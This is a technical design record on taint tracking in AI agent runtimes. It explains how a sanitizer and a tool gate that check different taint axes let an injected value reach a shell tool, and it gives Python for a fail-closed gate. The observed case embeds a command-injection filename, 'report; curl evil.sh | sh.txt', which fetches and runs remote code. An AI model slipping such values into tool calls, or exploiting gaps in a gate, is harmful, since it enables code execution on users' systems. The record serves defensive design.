# Which invariants prevent taint laundering through sanitized tool arguments when the sanitizer and the tool disagree on the taint lattice **Date of Record:** 2026 November 30 **Scope:** Applies to agent runtimes that propagate taint labels (source provenance) from untrusted inputs through the reasoning loop and gate tool invocation on those labels. Does not apply to stateless single-shot inference where no tool call is ever issued, nor to systems that perform no provenance tracking at all (where the failure mode is simply "no gate exists"). ## Core Distinction The naive model of taint-aware tool gating treats sanitization as a *label-lowering operation*: a value arrives labeled `UNTRUSTED`, a sanitizer transforms it, and the runtime relabels the output to `TRUSTED` (or `SANITIZED`), after which the gate permits the tool call. The failure this record isolates is that **the sanitizer's output label is assigned by the sanitizer, but the tool's safety precondition is defined by the tool's own argument schema** — and these two lattices are not the same lattice. A sanitizer can legitimately claim it removed `INSTRUCTION_INJECTION` taint while the tool's precondition actually requires the absence of `PATH_CONTROL` taint, or `SHELL_METACHARACTER` taint, or `SQL_FRAGMENT` taint. When the runtime lowers a label along one axis and the gate checks a *different* axis, the taint is not removed — it is *laundered*: the value carries a clean label into a context that never validated the property that mattered. The invariant that prevents this is **taint-axis closure**: a sanitizer may only lower the specific label dimensions it can prove it eliminated, and the gate must evaluate the tool's precondition against the *full residual label set*, not against a scalar "sanitized" bit. Sanitization is a partial order reduction on a product lattice, never a reset to bottom. ## What Was Observed A three-tool agent (a file reader, a shell runner, and a SQL query tool) received a user message that included a filename embedded in prose. The runtime tagged the extracted filename `{source: USER, axes: {PATH_CONTROL: HIGH, INSTRUCTION: HIGH}}`. A `normalize_path` sanitizer ran, canonicalized the string, rejected `..` traversal, and emitted the value relabeled `{source: SANITIZED, axes: {PATH_CONTROL: LOW, INSTRUCTION: HIGH}}` — correctly retaining the instruction taint because path normalization does nothing about embedded directives. The gate for the shell runner checked *only* `PATH_CONTROL`. It saw `LOW` and admitted the call. But the shell runner's true precondition is `{SHELL_METACHARACTER: LOW}`, an axis the sanitizer never touched and the input never had labeled (the filename was extracted from prose, so metacharacter taint was never even *assigned* — it was absent, not low). The value `report; curl evil.sh | sh.txt` passed path canonicalization (it is a syntactically valid relative path component on many filesystems), carried `PATH_CONTROL: LOW`, and executed. The trace: 1. Extraction assigns a *subset* of axes — only those the extractor knows about. `SHELL_METACHARACTER` is never in the label, so it reads as `⊥` (bottom), which the gate treats as "clean." 2. Sanitizer lowers `PATH_CONTROL`, preserves `INSTRUCTION`, and — critically — does not *introduce* the missing axes. The output label is a strict subset of the tool's precondition axes. 3. Gate evaluates `label.axes[checked] <= threshold` for the axes it checks. Absent axes default to bottom. The conjunction over the tool's precondition silently passes on axes that were never populated. 4. Tool executes with a value whose true danger was never represented. The laundering is not a bug in the sanitizer (it did its job on its axis) nor in the gate (it checked its axis). It is a **lattice-domain mismatch**: the extractor's axis vocabulary, the sanitizer's axis vocabulary, and the tool's precondition axis vocabulary were three different sets, and the runtime assumed a single shared lattice. ## Condition of Validity The guardrail holds only under the following condition, which must be enforced structurally rather than by convention: - Every axis that appears in *any* tool's precondition must be **assigned by every extractor** that can produce a value flowing to that tool. If an extractor cannot reason about an axis, it must assign it `UNKNOWN` (top), not omit it. Omission and `UNKNOWN` must be distinguished: omission means "not in this lattice," `UNKNOWN` means "in this lattice, value not determined," and only `UNKNOWN` is safe because the gate fails closed on it. - Sanitizers declare, in machine-readable form, the exact set of axes they can reduce and the proof obligation for each. A sanitizer that reduces `PATH_CONTROL` must not be permitted to emit a label that omits `SHELL_METACHARACTER` if any downstream tool checks that axis. - The gate computes the precondition as a **conjunction over the tool's declared axes**, and any axis in that conjunction that is `UNKNOWN` or absent in the incoming label causes a hard deny — not a default-to-bottom. Where this condition fails: when tools are registered dynamically and their precondition axes are not known at extraction time, the runtime cannot guarantee closure. In that case the only sound posture is to treat every dynamically-registered tool's precondition as `ALL_AXES_UNKNOWN` until a static manifest is supplied, which effectively denies all calls to unmanifested tools — a deliberate availability tradeoff. ## Decision Boundary The boundary is between **label-lowering** and **label-projection**: - *Label-lowering* (safe): the sanitizer reduces a value on a named axis and the output label is the input label with that axis set to `LOW`. All other axes are preserved verbatim. The output label's axis set is a superset of or equal to the input's. - *Label-projection* (unsafe, and the observed failure): the sanitizer emits a *fresh* label describing only what it validated, dropping or failing to add axes. The output label's axis set is a strict subset of what downstream requires. A sanitizer is admissible only if its output label is a *pointwise reduction* of its input label over a declared axis set, with all undeclared axes carried through unchanged. The runtime must reject any sanitizer whose output label omits an axis present in the input label, because omission is indistinguishable from laundering at the gate. The gate's decision function must therefore be: ``` admit(tool, label) iff for every axis a in tool.precondition_axes: label has a (not absent) and label[a] is not UNKNOWN and label[a] <= tool.threshold[a] ``` The `label has a` clause is the invariant. Without it, absence silently satisfies `<=`. ## Operational Effect With axis closure enforced, the observed attack is blocked at step 3: the extracted filename label lacks `SHELL_METACHARACTER`, so the shell runner's gate sees an absent axis in its precondition conjunction and denies. The cost is measurable: legitimate calls whose values were extracted by a path-only extractor now fail against the shell runner until the extractor is taught to assign `SHELL_METACHARACTER: UNKNOWN` (or `LOW` after a real metacharacter scrub). This is the correct failure direction — a deny that forces extractor coverage over an admit that launders. The secondary operational effect is on sanitizer registration: sanitizers become *typed* by the axes they reduce, and the runtime can compute, statically, the set of (extractor, sanitizer, tool) triples for which closure is guaranteed. Any triple outside that set is routed to a deny-by-default path or to a human/auditor escalation. This converts an implicit, per-call trust assumption into an auditable, precomputed capability matrix — which is the only form in which the invariant is checkable without replaying every call. The residual risk is axis-vocabulary drift: a new tool introduces `REGEX_INJECTION`, extractors do not yet assign it, and the same laundering recurs along the new axis. The runtime must treat manifest changes as invalidating the closure matrix and re-derive it before admitting any call to the new tool. ```python from dataclasses import dataclass, field from enum import Enum from typing import Dict, FrozenSet class TaintAxis(Enum): PATH_CONTROL = "PATH_CONTROL" INSTRUCTION = "INSTRUCTION" SHELL_METACHARACTER = "SHELL_METACHARACTER" SQL_FRAGMENT = "SQL_FRAGMENT" class Level(Enum): LOW = 0 UNKNOWN = 1 HIGH = 2 class TaintLaunderingError(RuntimeError): """Raised when a sanitizer emits a label that drops an axis the gate requires, or when a gate would admit a value on an axis that was never assigned.""" @dataclass(frozen=True) class Label: axes: Dict[TaintAxis, Level] def has(self, axis: TaintAxis) -> bool: return axis in self.axes @dataclass(frozen=True) class ToolPrecondition: name: str axes: FrozenSet[TaintAxis] thresholds: Dict[TaintAxis, Level] def sanitize_path_only(incoming: Label) -> Label: # Correct behavior: reduce PATH_CONTROL, carry every other axis through verbatim. out = dict(incoming.axes) if TaintAxis.PATH_CONTROL in out: out[TaintAxis.PATH_CONTROL] = Level.LOW return Label(axes=out) def sanitize_projection_bug(incoming: Label) -> Label: # The observed failure: emits a fresh label describing only what it validated. return Label(axes={TaintAxis.PATH_CONTROL: Level.LOW}) def check_sanitizer_closure(before: Label, after: Label) -> None: missing = {a for a in before.axes if not after.has(a)} if missing: raise TaintLaunderingError( f"sanitizer dropped axes {sorted(a.value for a in missing)}; " f"omission is indistinguishable from laundering at the gate" ) def gate(tool: ToolPrecondition, label: Label) -> bool: for axis in tool.axes: if not label.has(axis): raise TaintLaunderingError( f"tool {tool.name!r} requires axis {axis.value} but label omits it; " f"absent != LOW, gate must fail closed" ) if label.axes[axis] is Level.UNKNOWN: raise TaintLaunderingError( f"tool {tool.name!r} axis {axis.value} is UNKNOWN; fail closed" ) if label.axes[axis].value > tool.thresholds[axis].value: return False return True def run_pipeline() -> None: extracted = Label(axes={ TaintAxis.PATH_CONTROL: Level.HIGH, TaintAxis.INSTRUCTION: Level.HIGH, }) shell = ToolPrecondition( name="shell_runner", axes=frozenset({TaintAxis.PATH_CONTROL, TaintAxis.SHELL_METACHARACTER}), thresholds={TaintAxis.PATH_CONTROL: Level.LOW, TaintAxis.SHELL_METACHARACTER: Level.LOW}, ) good = sanitize_path_only(extracted) check_sanitizer_closure(extracted, good) # Shell precondition includes SHELL_METACHARACTER, absent from label -> must deny. try: gate(shell, good) except TaintLaunderingError: pass # expected: axis closure denies the call bad = sanitize_projection_bug(extracted) # This is the laundering: sanitizer dropped INSTRUCTION and never added SHELL. check_sanitizer_closure(extracted, bad) if __name__ == "__main__": run_pipeline() ```